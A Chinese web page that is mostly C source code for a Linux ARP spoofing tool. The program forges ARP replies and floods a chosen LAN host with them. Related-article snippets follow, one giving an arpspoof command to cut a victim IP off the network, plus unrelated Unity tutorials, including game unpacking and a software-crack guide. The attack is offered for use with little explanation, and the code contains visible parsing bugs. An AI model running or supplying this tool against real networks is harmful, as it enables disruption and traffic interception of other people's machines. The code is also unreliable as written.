ARP局域网攻击

article/2025/10/1 17:41:42

/*linux 、unix 下简单的ARP局域网攻击 */

 

 

 

#include<string.h>
#include<unistd.h>
#include<stdlib.h>
#include<net/if_arp.h>
#include<net/ethernet.h>
#include<sys/types.h>
#include<sys/socket.h>
#define ARP_LEN 30 //ARP帧头字节数
void mac_str( char *mac, char *buf )
{
sscanf(mac, "%x:%x:%x:%x:%x:%x", buf, buf+1, buf+2, buf+3, buf+4, buf+5);
}
void ip_str( char *ip, char *buf )
{
sscanf(ip, "%d.%d.%d.%d", buf, buf+1, buf+2, buf+3);
}
void encapsulate_frame( char *dest_mac, char *source_mac, unsigned int type, char *buf )
{
mac_str(dest_mac, buf);
mac_str(source_mac, buf+6);
*(short *)(buf+12) = htons(type);
}
void encapsulate_arp( unsigned short ar_op, char *source_mac, char *source_ip, char *dest_mac, char *dest_ip, char *buf )
{
struct arphdr parp;
parp.ar_hrd = htons(ARPHRD_ETHER);
parp.ar_pro = htons(ETHERTYPE_IP);
parp.ar_hln = 6;
parp.ar_pln = 4;
parp.ar_op = htons(ar_op);
memcpy(buf, &parp, sizeof(struct arphdr));
char addr_buf[20];
mac_str(source_mac, addr_buf);
ip_str(source_ip, addr_buf + 6);
mac_str(dest_mac, addr_buf + 10);
ip_str(dest_ip, addr_buf + 16);
memcpy(buf + sizeof(struct arphdr), addr_buf, 20);
}
int open_packet_socket( void )
{
int sock_fd;
if( (sock_fd = socket(AF_INET, SOCK_PACKET, htons(0x0003)) ) < 0 )
{
perror("Create socket error.\n");
exit(-1);
}
return sock_fd;
}
int main( int argc, char **argv )
{
char *source_ip = "192.168.1.1"; //172.19.10.111
char *source_mac = "00-0c-29-6c-2e-6f"; // 172.19.10.110
char *dest_ip = "192.168.1.223";
char *dest_mac = "00:26:c7:4e:0b:2e";
char *buf = (char *)malloc(sizeof(struct ether_header) + ARP_LEN);
encapsulate_frame(dest_mac, source_mac, ETHERTYPE_ARP, buf);
encapsulate_arp(ARPOP_REPLY, source_mac, source_ip, dest_mac, dest_ip, buf+sizeof(struct ether_header));
int sock_fd = open_packet_socket();
int i;
struct sockaddr to;
bzero( &to, sizeof(struct sockaddr) );
to.sa_family = AF_INET;
strcpy(to.sa_data, "p3p1");
for(i=0; i<100000; i++)
{sendto(sock_fd, buf, 44, 0, &to, sizeof(struct sockaddr));
sleep(2);
printf("i : %d \n",i);
}
return 0;
}



http://chatgpt.dhexx.cn/article/cKbvkfb5.shtml

相关文章

局域网断网攻击

一、直接实现局域网某ip断网 arpspoof -i eth0 -t 192.168.183.14 192.168.183.1 其中192.168.183.14为要攻击的ip地址&#xff0c;192.168.183.1为默认网关地址&#xff0c;eth0为自己的网卡&#xff0c;其实就是相当于让流经192.168.183.14的流量经过自己的网卡(本质是arp欺…

Kali Linux 学习日记6 - 局域网攻击

文章目录 交换机工作原理MAC地址泛洪攻击MAC地址欺骗攻击DHCP工作原理DHCP攻击ARP攻击 交换机工作原理 1、交换机中有一个MAC地址表&#xff0c;里面是端口与MAC的对应。初始状态下&#xff0c;交换机的MAC地址表为空。 2、当局域网中主机A与B欲通信时&#xff0c;A先向B发出A…

网络攻击测试软件,局域网攻击软件如何检测

局域网攻击软件通常会导致局域网网速下降&#xff0c;甚至断网的情况发生。对此们可以通过以下学习啦小编介绍的方法来检测并防范此类攻击对网速的影响。 局域网攻击软件的检测方法 可以借助“聚生网管”来检测局域网攻击类软件。直接在百度中搜索下载此工具。 从打开的程序主界…

局域网常见攻击方式原理

文章目录 前言一、ARP欺骗1.查看arp表2.arp原理3.arp欺骗过程 二、DNS欺骗三、DDos攻击总结 前言 简单介绍了常见的局域网攻击方式 一、ARP欺骗 局域网不是根据ip地址&#xff0c;而是根据MAC地址进行传输。破坏MAC地址&#xff0c;会影响传输。例如&#xff0c;MAC地址在A上…

网络安全——局域网内网络攻击手段(MAC地址攻击、ARP攻击、DHCP攻击)

网络安全一直是信息安全的重要内容&#xff0c;而局域网安全又往往是网络安全的一个重要组成部分。局域网内有哪些攻击攻击手段呢&#xff1f;今天主要介绍MAC地址攻击、ARP攻击、DHCP攻击等攻击的原理。要看懂本文&#xff0c;需要有一定的局域网内交换知识、DHCP原理等的理解…

Unity解包提取资源/AssetStudio的简单使用

前言 最近特别想要一款游戏里的语音包&#xff0c;但是原游戏是 Unity 做的&#xff0c;就想到了解包&#xff0c;找了一番发现可以使用 AssetStudio 这款强大的可视化工具。 项目地址&#xff1a;Perfare / AssetStudio 使用 直接在 releases 下载 下载自己需要的版本&…

Unity3d的安装

** Unity3d的安装 ** 1.在线安装 a.获取在线安装程序 第一步:进入官网:https://unity.com/cn 第二步:在主页的底部点击下载 第三步:来到UnityStore,拖到该页面的最底部&#xff0c;点击资源下面的Unity旧版本 第四步:来到Unity下载存档&#xff0c;拖动页面可以看到很多版…

Unity 2021.3.6f1 Crack【转载】

如果要看我转载的此作者编写的另一个带图的教程&#xff0c;请转此链接&#xff08;Unity 2019.4.9f1 Crack Tutorial【转载】 文中资源 【2022/8/29 更新】 最近都在这个网站对Unity进行Crack 在该网站上下载UnityHub3.0.1及其对应版本的Unity包安装unityhub&#xff0c;替换a…

Unity-Apk解包

在上海居住隔离的时候&#xff0c;整理了下为知笔记。发现了这篇于2018-06-07写完的,内容或许有陈旧 之前解过自己项目的包的代码&#xff0c;研究assetBundle打包的时候&#xff0c;像把bundle解压出来看。结合看来就一个包的逆向。 步骤 改名解压 将".apk"结尾的…

从unity3d官网下载教程

http://unity3d.com/learn/tutorials/projects/tanks-tutorial 官网的教程提供的下载链接https://www.assetstore.unity3d.com/en/#!/content/46209/ 根本无法下载 最后谷歌了下&#xff0c;发现需要在unity中打开&#xff0c;然后在里面的asset store中下载 坑爹了&#xff0c…

Unity3D教程:Unity3D游戏内的付费

一、搭建号沙盒环境 二、IAP付费流程图&#xff1a; 总体流程图如下&#xff1a; Unity3D教程&#xff1a;Unity3D游戏内的付费 详细流程图分为带服务端验证和不带服务端验证&#xff0c;本文研究的是带服务端验证&#xff0c;流程图如下&#xff1a; 在Unity中制作IAP主要思…

Unity 3D下载安装教程

入门小菜鸟&#xff0c;希望像做笔记记录自己学的东西&#xff0c;也希望能帮助到同样入门的人&#xff0c;更希望大佬们帮忙纠错啦~侵权立删。 一、官网下载链接 https://unity3d.com/cn/ 但是可能是因为我没翻墙&#xff0c;所以我根本没办法进入这个网页 二、Unity 3D中国…

[转]Unity3D简介

unity简介 本章首先介绍 Unity 3D 的特点、发展历程&#xff0c;然后介绍 Unity 3D 下载及安装方法&#xff0c;最后通过讲解将 Unity 3D 开发的游戏发布于多个平台的方法(PC端举例)。 第一章 Unity 3D是什么&#xff1f;Unity 3D简介 Unity 3D 也称 Unity&#xff0c;是由 Un…

从零开始做一款Unity3D游戏<一>——亲自上手使用Unity

游戏设计入门 游戏设计文档 Hero Born游戏的单页文档 构建关卡 创建基本图形 在三维中思考 材质 白盒环境 光照基础 创建光源 Light组件的属性 在Unity中制作动画 创建动画片段 记录关键帧 曲线与切线 粒子系统 总结 本文主要来自<<C#实践入门>>哈…

【Unity3D入门教程】Unity3D简介、安装和程序发布

《Unity3D入门教程》会带领零基础的初学者&#xff0c;一步步学会使用Unity3D来开发简单的应用程序&#xff0c;走近游戏开发的世界。本系列教程虽然不会面面俱到地深入到全部的知识点&#xff0c;但是会涉及到所有入门阶段所需要掌握的必备技能。通过本教程的学习&#xff0c;…

腾讯Unity3D手游 dll加密分析

此文章的技术内容已过时&#xff0c;仅当做技术存档参考。腾讯的Unity游戏已不再mono.so中加密dll了&#xff0c;而是通过libtprt.so来hook了加载Assembly-CSharp.dll的地方进行解密&#xff0c;解密算法有点复杂&#xff0c;建议用ida动态dump 腾讯有很多用Unity做的手游&…

Unity3d DLL脚本通用解密方法

网上已经有很多文章讲解过Unity3d脚本DLL 解密&#xff0c;基本方法原理都差不多&#xff0c;就是通过HOOK或者调试下断mono_image_open_from_data_with_name这个函数拿到解密后的DLL。这些方法都需要比较专业的知识(Hook或者过反调试)&#xff0c;另外对于使用了强度比较高的第…

Unity3D官方教程爬坑

全是在学官教时遇到的坑&#xff0c;然后数小时后爬出来.同时会添加到处学来的的Unity技巧 ---------------------------------------------------------- 代码&#xff1a; 1.使游戏对象运动的N种方式 更全面的移动方式参考 1、rigidbody.addforce(Vector3 * speed) (见rol…

【Unity3D】自学之路2.0

推荐阅读 CSDN主页GitHub开源地址Unity3D插件分享简书地址我的个人博客 Note: 因上一期 《Unity3D自学之路》 系列教程资源比较旧&#xff08;2018.7.9&#xff09; 很多资源图片资源失效 故更新 《Unity3D自学之路2.0》2020.3.11 船新版本 在新的一年&#xff0c;大家一起加…

[转]【Unity3D入门教程】Unity3D简介、安装和程序发布

《Unity3D入门教程》会带领零基础的初学者&#xff0c;一步步学会使用Unity3D来开发简单的应用程序&#xff0c;走近游戏开发的世界。本系列教程虽然不会面面俱到地深入到全部的知识点&#xff0c;但是会涉及到所有入门阶段所需要掌握的必备技能。通过本教程的学习&#xff0c;…